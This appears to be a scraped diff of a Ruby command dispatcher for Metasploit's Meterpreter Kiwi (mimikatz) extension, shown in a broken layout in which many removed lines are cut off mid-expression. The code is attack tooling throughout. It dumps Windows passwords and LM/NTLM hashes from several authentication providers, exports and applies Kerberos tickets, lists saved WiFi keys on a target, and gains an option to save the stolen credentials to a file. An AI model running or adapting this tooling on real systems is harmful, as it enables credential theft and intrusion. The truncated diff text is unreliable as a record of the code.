export = true
|
253
|
-
when
|
252
|
+
when '-p'
|
254
253
|
export_path = val
|
255
254
|
end
|
256
255
|
}
|
@@ -261,7 +260,7 @@ class Console::CommandDispatcher::Kiwi
|
|
261
260
|
fields << 'Export Path' if export
|
262
261
|
|
263
262
|
table = Rex::Ui::Text::Table.new(
|
264
|
-
'Header' =>
|
263
|
+
'Header' => 'Kerberos Tickets',
|
265
264
|
'Indent' => 0,
|
266
265
|
'SortIndex' => 0,
|
267
266
|
'Columns' => fields
|
@@ -280,7 +279,7 @@ class Console::CommandDispatcher::Kiwi
|
|
280
279
|
|
281
280
|
# write out each ticket to disk if export is enabled.
|
282
281
|
if export
|
283
|
-
path =
|
282
|
+
path = '<no data retrieved>'
|
284
283
|
if t[:raw]
|
285
284
|
id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
|
286
285
|
file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
|
@@ -305,7 +304,7 @@ class Console::CommandDispatcher::Kiwi
|
|
305
304
|
#
|
306
305
|
def cmd_kerberos_ticket_purge(*args)
|
307
306
|
client.kiwi.kerberos_ticket_purge
|
308
|
-
print_good(
|
307
|
+
print_good('Kerberos tickets purged')
|
309
308
|
end
|
310
309
|
|
311
310
|
#
|
@@ -313,7 +312,7 @@ class Console::CommandDispatcher::Kiwi
|
|
313
312
|
#
|
314
313
|
def cmd_kerberos_ticket_use(*args)
|
315
314
|
if args.length != 1
|
316
|
-
print_line(
|
315
|
+
print_line('Usage: kerberos_ticket_use ticketpath')
|
317
316
|
return
|
318
317
|
end
|
319
318
|
|
@@ -325,25 +324,13 @@ class Console::CommandDispatcher::Kiwi
|
|
325
324
|
|
326
325
|
print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
|
327
326
|
client.kiwi.kerberos_ticket_use(ticket)
|
328
|
-
print_good(
|
329
|
-
end
|
330
|
-
|
331
|
-
def wifi_list_usage
|
332
|
-
print(
|
333
|
-
"\nUsage: wifi_list\n\n" +
|
334
|
-
"List WiFi interfaces, profiles and passwords.\n\n")
|
327
|
+
print_good('Kerberos ticket applied successfully')
|
335
328
|
end
|
336
329
|
|
337
330
|
#
|
338
331
|
# Dump all the wifi profiles/credentials
|
339
332
|
#
|
340
333
|
def cmd_wifi_list(*args)
|
341
|
-
# if any arguments are specified, then fire up a usage message
|
342
|
-
if args.length > 0
|
343
|
-
wifi_list_usage
|
344
|
-
return
|
345
|
-
end
|
346
|
-
|
347
334
|
results = client.kiwi.wifi_list
|
348
335
|
|
349
336
|
if results.length > 0
|
@@ -362,24 +349,39 @@ class Console::CommandDispatcher::Kiwi
|
|
362
349
|
table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
|
363
350
|
end
|
364
351
|
|
365
|
-
print_line
|
366
|
-
print_line
|
352
|
+
print_line(table.to_s)
|
353
|
+
print_line("State: #{r[:state]}")
|
367
354
|
end
|
368
355
|
else
|
369
356
|
print_line
|
370
|
-
print_error(
|
357
|
+
print_error('No wireless profiles found on the target.')
|
371
358
|
end
|
372
359
|
|
373
360
|
print_line
|
374
361
|
return true
|
375
362
|
end
|
376
363
|
|
364
|
+
@@creds_opts = Rex::Parser::Arguments.new(
|
365
|
+
'-o' => [ true, 'Write the output to the specified file.' ],
|
366
|
+
'-h' => [ false, 'Help menu.' ]
|
367
|
+
)
|
368
|
+
|
369
|
+
#
|
370
|
+
# Displays information about the various creds commands
|
371
|
+
#
|
372
|
+
def cmd_creds_usage(provider)
|
373
|
+
print_line("Usage: creds_#{provider} [options]")
|
374
|
+
print_line
|
375
|
+
print_line("Dump #{provider} credentials.")
|
376
|
+
print_line(@@creds_opts.usage)
|
377
|
+
end
|
378
|
+
|
377
379
|
#
|
378
380
|
# Dump all the possible credentials to screen.
|
379
381
|
#
|
380
382
|
def cmd_creds_all(*args)
|
381
383
|
method = Proc.new { client.kiwi.all_pass }
|
382
|
-
scrape_passwords(
|
384
|
+
scrape_passwords('all', method, args)
|
383
385
|
end
|
384
386
|
|
385
387
|
#
|
@@ -387,7 +389,7 @@ class Console::CommandDispatcher::Kiwi
|
|
387
389
|
#
|
388
390
|
def cmd_creds_wdigest(*args)
|
389
391
|
method = Proc.new { client.kiwi.wdigest }
|
390
|
-
scrape_passwords(
|
392
|
+
scrape_passwords('wdigest', method, args)
|
391
393
|
end
|
392
394
|
|
393
395
|
#
|
@@ -395,7 +397,7 @@ class Console::CommandDispatcher::Kiwi
|
|
395
397
|
#
|
396
398
|
def cmd_creds_msv(*args)
|
397
399
|
method = Proc.new { client.kiwi.msv }
|
398
|
-
scrape_passwords(
|
400
|
+
scrape_passwords('msv', method, args)
|
399
401
|
end
|
400
402
|
|
401
403
|
#
|
@@ -403,7 +405,7 @@ class Console::CommandDispatcher::Kiwi
|
|
403
405
|
#
|
404
406
|
def cmd_creds_livessp(*args)
|
405
407
|
method = Proc.new { client.kiwi.livessp }
|
406
|
-
scrape_passwords(
|
408
|
+
scrape_passwords('livessp', method, args)
|
407
409
|
end
|
408
410
|
|
409
411
|
#
|
@@ -411,7 +413,7 @@ class Console::CommandDispatcher::Kiwi
|
|
411
413
|
#
|
412
414
|
def cmd_creds_ssp(*args)
|
413
415
|
method = Proc.new { client.kiwi.ssp }
|
414
|
-
scrape_passwords(
|
416
|
+
scrape_passwords('ssp', method, args)
|
415
417
|
end
|
416
418
|
|
417
419
|
#
|
@@ -419,7 +421,7 @@ class Console::CommandDispatcher::Kiwi
|
|
419
421
|
#
|
420
422
|
def cmd_creds_tspkg(*args)
|
421
423
|
method = Proc.new { client.kiwi.tspkg }
|
422
|
-
scrape_passwords(
|
424
|
+
scrape_passwords('tspkg', method, args)
|
423
425
|
end
|
424
426
|
|
425
427
|
#
|
@@ -427,22 +429,22 @@ class Console::CommandDispatcher::Kiwi
|
|
427
429
|
#
|
428
430
|
def cmd_creds_kerberos(*args)
|
429
431
|
method = Proc.new { client.kiwi.kerberos }
|
430
|
-
scrape_passwords(
|
432
|
+
scrape_passwords('kerberos', method, args)
|
431
433
|
end
|
432
434
|
|
433
435
|
protected
|
434
436
|
|
435
437
|
def check_privs
|
436
438
|
if system_check
|
437
|
-
print_good(
|
439
|
+
print_good('Running as SYSTEM')
|
438
440
|
else
|
439
|
-
print_warning(
|
441
|
+
print_warning('Not running as SYSTEM, execution may fail')
|
440
442
|
end
|
441
443
|
end
|
442
444
|
|
443
445
|
def system_check
|
444
|
-
unless
|
445
|
-
print_warning(
|
446
|
+
unless client.sys.config.is_system?
|
447
|
+
print_warning('Not currently running as SYSTEM')
|
446
448
|
return false
|
447
449
|
end
|
448
450
|
|
@@ -459,7 +461,12 @@ protected
|
|
459
461
|
# Meterpreter that lay in the house that Jack built.
|
460
462
|
#
|
461
463
|
# @return [void]
|
462
|
-
def scrape_passwords(provider, method)
|
464
|
+
def scrape_passwords(provider, method, args)
|
465
|
+
if args.include?('-h')
|
466
|
+
cmd_creds_usage(provider)
|
467
|
+
return
|
468
|
+
end
|
469
|
+
|
463
470
|
check_privs
|
464
471
|
print_status("Retrieving #{provider} credentials")
|
465
472
|
accounts = method.call
|
@@ -468,24 +475,40 @@ protected
|
|
468
475
|
'Header' => "#{provider} credentials",
|
469
476
|
'Indent' => 0,
|
470
477
|
'SortIndex' => 0,
|
471
|
-
'Columns' =>
|
472
|
-
|
473
|
-
'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
|
478
|
+
'Columns' => [
|
479
|
+
'Domain', 'User', 'Password', 'LM Hash', 'NTLM Hash'
|
474
480
|
]
|
475
481
|
)
|
476
482
|
|
477
483
|
accounts.each do |acc|
|
478
484
|
table << [
|
479
|
-
acc[:domain] ||
|
480
|
-
acc[:username] ||
|
481
|
-
acc[:password] ||
|
482
|
-
|
483
|
-
to_hex(acc[:
|
484
|
-
to_hex(acc[:ntlm] || "")
|
485
|
+
acc[:domain] || '',
|
486
|
+
acc[:username] || '',
|
487
|
+
acc[:password] || '',
|
488
|
+
to_hex(acc[:lm]),
|
489
|
+
to_hex(acc[:ntlm])
|
485
490
|
]
|
486
491
|
end
|
487
492
|
|
488
|
-
|
493
|
+
output = table.to_s
|
494
|
+
print_line(output)
|
495
|
+
|
496
|
+
# determine if a target file path was passed in
|
497
|
+
file_index = args.index('-o')
|
498
|
+
unless file_index.nil?
|
499
|
+
if args.length > file_index + 1
|
500
|
+
# try to write the file to disk
|
501
|
+
begin
|
502
|
+
::File.write(args[file_index + 1], output)
|
503
|
+
print_good("Output written to #{args[file_index + 1]}")
|
504
|
+
rescue
|
505
|
+
print_error("Unable to write to #{args[file_index + 1]}")
|
506
|
+
end
|
507
|
+
else
|
508
|
+
print_error('Missing file path for -o parameter')
|
509
|
+
end
|
510
|
+
end
|
511
|
+
|
489
512
|
return true
|
490
513
|
end
|
491
514
|
|
@@ -496,8 +519,7 @@ protected
|
|
496
519
|
# @param (see Rex::Text.to_hex)
|
497
520
|
# @return [String] The result of {Rex::Text.to_hex}, strip'd
|
498
521
|
def to_hex(value, sep = '')
|
499
|
-
value
|
500
|
-
Rex::Text.to_hex(value, sep).strip
|
522
|
+
Rex::Text.to_hex(value || '', sep).strip
|
501
523
|
end
|
502
524
|
|
503
525
|
end
|